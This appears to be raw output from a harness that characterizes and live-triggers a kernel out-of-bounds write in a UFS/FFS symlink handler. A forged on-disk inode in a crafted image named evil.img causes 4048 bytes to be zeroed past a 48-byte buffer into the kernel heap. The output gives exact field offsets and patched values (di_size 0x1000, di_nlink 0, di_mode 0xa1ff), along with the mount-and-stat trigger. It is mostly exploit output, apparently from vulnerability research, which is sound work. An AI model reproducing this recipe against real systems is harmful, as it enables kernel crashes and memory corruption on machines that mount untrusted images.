================= DF-0887 primitive characterization (harness) =================
=== DF-0887 primitive characterization ===
i_shortlink buffer size = 48 bytes (di_db[UFS_NDADDR=12])
UFS1_MAXSYMLINKLEN      = 60 bytes
forged di_size          = 4096 bytes
forged di_blocks        = 0
mnt_maxsymlinklen       = 60
fast-path enter (VLNK && (i_size<maxlen || di_blocks==0)) = YES

bzero length            = 4096
first OOB byte (past shortlink) at inode+152
OOB write length        = 4048 bytes (di_size - 48)
OOB past end of struct inode = 4008 bytes (overflow past inode end)

SIMULATED bzero overflow:
  bytes written past shortlink end   = 4048
  bytes written past end of inode    = 4008 (-> adjacent heap/slab)
  zeroed past inode (within slab)    = 4008

RESULT: OOB WRITE of 4048 bytes past the 48-byte i_shortlink buffer.
        Heap corruption into M_FFSNODE slab (and beyond) confirmed.

================= DF-0887 live kernel trigger =================
created symlink at inode 3
--- patching inode 3 in evil.img ---
ino=3 cg=0 cgstart_frag=0 cgimin_frag=24 fsba_frag=24 fsbo=3 inode_byte=49536
sb: iblkno=24 cgoffset=1024 cgmask=0xffffffff bsize=16384 fsize=2048 frag=8 inopb=128 ipg=512 fpg=109568
before: di_mode=0xa1ed di_nlink=1 di_size=13 di_blocks=0
patched di_size @ ino off 8 width 8 = 0x1000
patched di_nlink @ ino off 2 width 2 = 0x0
patched di_blocks @ ino off 104 width 4 = 0x0
patched di_mode @ ino off 0 width 2 = 0xa1ff
OK inode 3 patched in evil.img
--- mounting evil.img and stat'ing the symlink (PANIC expected on #0) ---
MOUNT_RC=0
--- stat /mnt/test/evil ---
504432647 3 lrwxrwxrwx 0 root wheel 4294967295 4096 "Jul  5 17:33:09 2026" "Jul  5 17:33:09 2026" "Jul  5 17:33:09 2026" 4096 0 0 /mnt/test/evil
STAT_RC=0 (only reached if NO panic)
END